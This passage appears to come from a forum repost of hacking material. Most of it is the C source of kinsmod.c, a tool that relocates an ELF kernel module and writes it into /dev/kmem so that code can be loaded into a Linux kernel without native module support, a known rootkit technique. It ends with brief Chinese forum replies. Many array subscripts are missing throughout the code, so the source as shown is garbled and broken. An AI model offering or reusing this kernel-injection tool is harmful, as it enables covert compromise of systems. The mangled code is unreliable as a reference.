                if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {

                        fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );

                        ldclose( object );

                        return( symbol.n_value );

                }

        }

        fprintf( stderr, "Could not read symbols in /unix.\n");

        exit( 60 );

}

Module insertion without native support

NAME : kinsmod.c

AUTHOR : Silvio Cesare

DESCRIPTION : This is a very nice program which allows us to insert LKMs on

system with no native module support.

LINK : found it by a search on http://www.antisearch.com



/**********needed include file*/

#ifndef KMEM_H

#define KMEM_H



#include <linux/module.h>

#include <unistd.h>

#include <fcntl.h>



/*

        these functions are anologous to standard file routines.

*/



#define kopen(mode) open("/dev/kmem", (mode))

#define kclose(kd) close((kd))



ssize_t kread(int kd, int pos, void *buf, size_t size);

ssize_t kwrite(int kd, int pos, void *buf, size_t size);



/*

        ksyms initialization and cleanup

*/



int ksyms_init(const char *map);

void ksyms_cleanup(void);



/*

        print the ksym table

*/



void ksyms_print(void);



/*

        return the ksym of name 'name' or NULL if no symbol exists

*/



struct kernel_sym *ksyms_find(const char *name);



#endif





/**********KMEM functions*/

#include <stdio.h>

#include <stdlib.h>

#include <ctype.h>

#include <string.h>

#include <unistd.h>

#include <fcntl.h>

#include <stdio.h>

#include <linux/module.h>

#include <linux/unistd.h>

#include "kmem.h"



struct ksymlist {

        struct ksymlist*        next;

        struct kernel_sym        ksym;

};



struct ksymlisthead {

        struct ksymlist*        next;

};



/*

        the hash size must be an integral power of two

*/



#define KSYM_HASH_SIZE        512



struct ksymlisthead ksymhash[KSYM_HASH_SIZE];



/*

        these functions are anologous to standard file routines.

*/



ssize_t kread(int kd, int pos, void *buf, size_t size)

{

        int retval;



        retval = lseek(kd, pos, SEEK_SET);

        if (retval != pos) return retval;



        return read(kd, buf, size);

}



ssize_t kwrite(int kd, int pos, void *buf, size_t size)

{

        int retval;



        retval = lseek(kd, pos, SEEK_SET);

        if (retval != pos) return retval;



        return write(kd, buf, size);

}



void ksyms_print(void)

{

        int i;



        for (i = 0; i < KSYM_HASH_SIZE; i++) {

                struct ksymlist *head = (struct ksymlist *)&ksymhash;

                struct ksymlist *current = ksymhash.next;



                while (current != head) {

                        printf(

                                "name: %s addr: %lx\n",

                                current->ksym.name,

                                current->ksym.value

                        );

                        current = current->next;

                }

        }

}



void ksyms_cleanup(void)

{

        int i;



        for (i = 0; i < KSYM_HASH_SIZE; i++) {

                struct ksymlist *head = (struct ksymlist *)&ksymhash;

                struct ksymlist *current = head->next;



                while (current != head) {

                        struct ksymlist *next = current->next;



                        free(current);

                        current = next;

                }

        }

}



int hash(const char *name)

{

        unsigned long h;

        const char *p;



        for (h = 0, p = name; *p; h += (unsigned char)*p, p++);



        return h & (KSYM_HASH_SIZE - 1);

}



int ksyminsert(struct kernel_sym *ksym)

{

        struct ksymlist *node;

        struct ksymlisthead *head;



        node = (struct ksymlist *)malloc(sizeof(struct ksymlist));

        if (node == NULL) return -1;



        head = &ksymhash[hash(ksym->name)];



        memcpy(&node->ksym, ksym, sizeof(*ksym));



        node->next = (struct ksymlist *)head->next;

        head->next = node;



        return 0;

}



int ksyms_init(const char *map)

{

        char s[512];

        FILE *f;

        int i;



        for (i = 0; i < KSYM_HASH_SIZE; i++)

                ksymhash.next = (struct ksymlist *)&ksymhash;



        f = fopen(map, "r");

        if (f == NULL) return -1;



        while (fgets(s, sizeof(s), f) != NULL) {

                struct kernel_sym ksym;

                char *n, *p;



                ksym.value = strtoul(s, &n, 16);

                if (n == s || *n == 0) goto error;



                p = n;

                while (*p && isspace(*p)) ++p;

                if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;



                p += 2;

                n = p;

                while (*p && !isspace(*p)) ++p;

                if (*p) *p = 0;



                strncpy(ksym.name, n, 60);



                if (ksyminsert(&ksym) < 0) goto error;

        }



        fclose(f);

        return 0;



error:

        fclose(f);

        ksyms_cleanup();

        printf("--> %s\n", s);

        return -1;

}



struct kernel_sym *ksyms_find(const char *name)

{

        struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];

        struct ksymlist *current = head->next;



        while (current != head) {

                if (!strncmp(current->ksym.name, name, 60))

                        return &current->ksym;



                current = current->next;

        }



        return NULL;

}







/**********MAIN PROGRAM : kinsmod.c*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <fcntl.h>

#include <elf.h>

#include <getopt.h>

#include "kmem.h"



static char system_map[] = "System.kmap";

static int error = 0;

static int run = 0;

static int force = 0;



struct _module {

        Elf32_Ehdr        ehdr;

        Elf32_Shdr*        shdr;

        unsigned long        maddr;

        int                maxlen;

        int                len;

        int                strtabidx;

        char**                section;

};



Elf32_Sym *local_sym_find(

        Elf32_Sym *symtab, int n, char *strtab, const char *name

)

{

        int i;



        for (i = 0; i < n; i++) {

                if (!strcmp(&strtab[symtab.st_name], name))

                        return &symtab;

        }



        return NULL;

}



Elf32_Sym *localall_sym_find(struct _module *module, const char *name)

{

        char *strtab = module->section[module->strtabidx];

        int i;



        for (i = 0; i < module->ehdr.e_shnum; i++) {

                Elf32_Shdr *shdr = &module->shdr;



                if (shdr->sh_type == SHT_SYMTAB) {

                        Elf32_Sym *sym;



                        sym = local_sym_find(

                                (Elf32_Sym *)module->section,

                                shdr->sh_size/sizeof(Elf32_Sym),

                                strtab,

                                name

                        );

                        if (sym != NULL) return sym;

                }

        }



        return NULL;

}



void check_module(struct _module *module, int fd)

{

        Elf32_Ehdr *ehdr = &module->ehdr;



        if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {

                perror("read");

                exit(1);

        }



/* ELF checks */



        if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {

                fprintf(stderr, "File not ELF\n");

                exit(1);

        }



        if (ehdr->e_type != ET_REL) {

                fprintf(stderr, "ELF type not ET_REL\n");

                exit(1);

        }



        if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {

                fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");

                exit(1);

        }



        if (ehdr->e_version != EV_CURRENT) {

                fprintf(stderr, "ELF version not current\n");

                exit(1);

        }

}



void load_section(char **p, int fd, Elf32_Shdr *shdr)

{

        if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {

                perror("lseek");

                exit(1);

        }



        *p = (char *)malloc(shdr->sh_size);

        if (*p == NULL) {

                perror("malloc");

                exit(1);

        }



        if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {

                perror("read");

                exit(1);

        }

}



void load_module(struct _module *module, int fd)

{

        Elf32_Ehdr *ehdr;

        Elf32_Shdr *shdr;

        char **sectionp;

        int slen;

        int i;



        check_module(module, fd);



        ehdr = &module->ehdr;

        slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;



        module->shdr = (Elf32_Shdr *)malloc(slen);

        if (module->shdr == NULL) {

                perror("malloc");

                exit(1);

        }



        module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);

        if (module->section == NULL) {

                perror("malloc");

                exit(1);

        }



        if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {

                perror("lseek");

                exit(1);

        }



        if (read(fd, module->shdr, slen) != slen) {

                perror("read");

                exit(1);

        }



        for (

                i = 0, sectionp = module->section, shdr = module->shdr;

                i < ehdr->e_shnum;

                i++, sectionp++

        ) {

                switch (shdr->sh_type) {

                case SHT_NULL:

                case SHT_NOTE:

                case SHT_NOBITS:

                        break;



                case SHT_STRTAB:

                        load_section(sectionp, fd, shdr);

                        if (i != ehdr->e_shstrndx)

                                module->strtabidx = i;

                        break;



                case SHT_SYMTAB:

                case SHT_PROGBITS:

                case SHT_REL:

                        load_section(sectionp, fd, shdr);

                        break;



                default:

                        fprintf(

                                stderr,

                                "No handler for section (type): %i\n",

                                shdr->sh_type

                        );

                        exit(1);

                }



                ++shdr;

        }

}



void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)

{

        Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];

        Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];

        Elf32_Addr addr;

        Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];

        Elf32_Addr dot =  targshdr->sh_addr + rel->r_offset;

        Elf32_Addr *loc = (Elf32_Addr *)(

                module->section[shdr->sh_info] + rel->r_offset

        );

        char *name = &module->section[module->strtabidx][sym->st_name];



        if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {

                struct kernel_sym *ksym;



                if (force) {

                        char novname[60];

                        int len;



                        len = strlen(name);

                        if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {

                                strncpy(novname, name, len - 10);

                                novname[len - 10] = 0;

                                ksym = ksyms_find(novname);

                        } else

                                ksym = ksyms_find(name);

                } else

                        ksym = ksyms_find(name);

                if (ksym != NULL) {

                        addr = ksym->value;



#ifdef DEBUG

                        printf(

                                "Extern symbol is (%s:%lx)\n",

                                ksym->name,

                                (unsigned long)addr

                        );

#endif

                        goto next;

                }



                if (

                        sym->st_shndx == 0 ||

                        sym->st_shndx > module->ehdr.e_shnum

                ) {

                        fprintf(

                                stderr,

                                "ERROR: undefined symbol (%s)\n", name

                        );

                        ++error;

                        return;

                }

        }



        addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;



#ifdef DEBUG

        printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);

#endif



next:

        if (targshdr->sh_type == SHT_SYMTAB) return;

        if (targshdr->sh_type != SHT_PROGBITS) {

                fprintf(

                        stderr,

                        "Rel not PROGBITS or SYMTAB (type: %i)\n",

                        targshdr->sh_type

                );

                exit(1);

        }



        switch (ELF32_R_TYPE(rel->r_info)) {

        case R_386_NONE:

                break;



        case R_386_PLT32:

        case R_386_PC32:

                *loc -= dot;        /* *loc += addr - dot        */



        case R_386_32:

                *loc += addr;

                break;



        default:

                fprintf(

                        stderr, "No handler for Relocation (type): %i",

                        ELF32_R_TYPE(rel->r_info)

                );

                exit(1);

        }

}



void relocate_module(struct _module *module)

{

        int i;



        for (i = 0; i < module->ehdr.e_shnum; i++) {

                if (module->shdr.sh_type == SHT_REL) {

                        int j;

                        Elf32_Rel *relp = (Elf32_Rel *)module->section;



                        for (

                                j = 0;

                                j < module->shdr.sh_size/sizeof(Elf32_Rel);

                                j++

                        ) {

                                relocate(

                                        module,

                                        relp,

                                        &module->shdr

                                );



                                ++relp;

                        }

                }

        }

}



void print_symaddr(struct _module *module, const char *symbol)

{

        Elf32_Sym *sym;



        sym = localall_sym_find(module, symbol);

        if (sym == NULL) {

                fprintf(stderr, "No symbol (%s)\n", symbol);

                ++error;

                return;

        }



        printf(

                "%s: 0x%lx\n",

                symbol,

                (unsigned long)module->shdr[sym->st_shndx].sh_addr

                        + sym->st_value

        );

}



void init_module(struct _module *module, unsigned long maddr)

{

        int i;

        unsigned long len = 0;



        module->maddr = maddr;



        for (i = 0; i < module->ehdr.e_shnum; i++) {

                if (module->shdr.sh_type != SHT_PROGBITS) continue;



                module->shdr.sh_addr = len + maddr;

                len += module->shdr.sh_size;

        }



        module->len = len;



        if (module->maxlen > 0 && module->len > module->maxlen) {

                fprintf(

                        stderr,

                        "Module too large: (modsz: %i)\n",

                        module->len

                );

                exit(1);

        }



        printf("Module length: %i\n", module->len);

       

        relocate_module(module);



        print_symaddr(module, "init_module");

        print_symaddr(module, "cleanup_module");

}



void do_module(struct _module *module, int fd)

{

        int kd;

        int i;



#ifdef DEBUG

        for (i = 0; i < module->ehdr.e_shnum; i++) {

                if (module->shdr.sh_type != SHT_PROGBITS) continue;



                if (lseek(fd, module->shdr.sh_offset, SEEK_SET) < 0) {

                        perror("lseek");

                        exit(1);

                }



                if (

                        write(

                                fd, module->section, module->shdr.sh_size

                        ) != module->shdr.sh_size

                ) {

                        perror("write");

                        exit(1);

                }

        }

#else



        kd = open("/dev/kmem", O_RDWR);

        if (kd < 0) {

                perror("open");

                exit(1);

        }



        if (lseek(kd, module->maddr, SEEK_SET) < 0) {

                perror("lseek");

                exit(1);

        }



        for (i = 0; i < module->ehdr.e_shnum; i++) {

                if (module->shdr.sh_type != SHT_PROGBITS) continue;



                if (

                        write(

                                kd, module->section, module->shdr.sh_size

                        ) != module->shdr.sh_size

                ) {

                        perror("write");

                        exit(1);

                }

        }



        close(kd);

#endif

}



int main(int argc, char *argv[])

{

        char *map = system_map;

        struct _module module;

        int fd;

        int ch;

        int retval = 0;



        while ((ch = getopt(argc, argv, "m:tf")) != EOF) {

                switch (ch) {

                case 'm':

                        map = optarg;

                        break;



                case 't':

                        ++run;

                        break;



                case 'f':

                        ++force;

                        break;

                }

        }



/*

        so we can move options in and out without changing the codes idea

        of what argv and argc look like.

*/



        --optind;



        argv += optind;

        argc -= optind;



        if (argc != 3 && argc != 4) {

                fprintf(

                        stderr,

                        "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"

                );

                exit(1);

        }



#ifdef DEBUG

        fd = open(argv[1], O_RDWR);

#else

        fd = open(argv[1], O_RDONLY);

#endif

        if (fd < 0) {

                perror("open");

                exit(1);

        }



        if (ksyms_init(map) < 0) {

                perror("ksyms_init");

                exit(1);

        }



        module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);

        load_module(&module, fd);

        init_module(&module, strtoul(argv[2], NULL, 16));

        if (run == 0) {

                if (error == 0) {

                        do_module(&module, fd);

                } else {

                        fprintf(

                                stderr,

                                "FAILED: (%i) errors. Exiting...\n", error

                        );

                        ++retval;

                }

        }



        ksyms_cleanup();



        exit(retval);

}

xiaozf

难道是老夫眼花了???

quan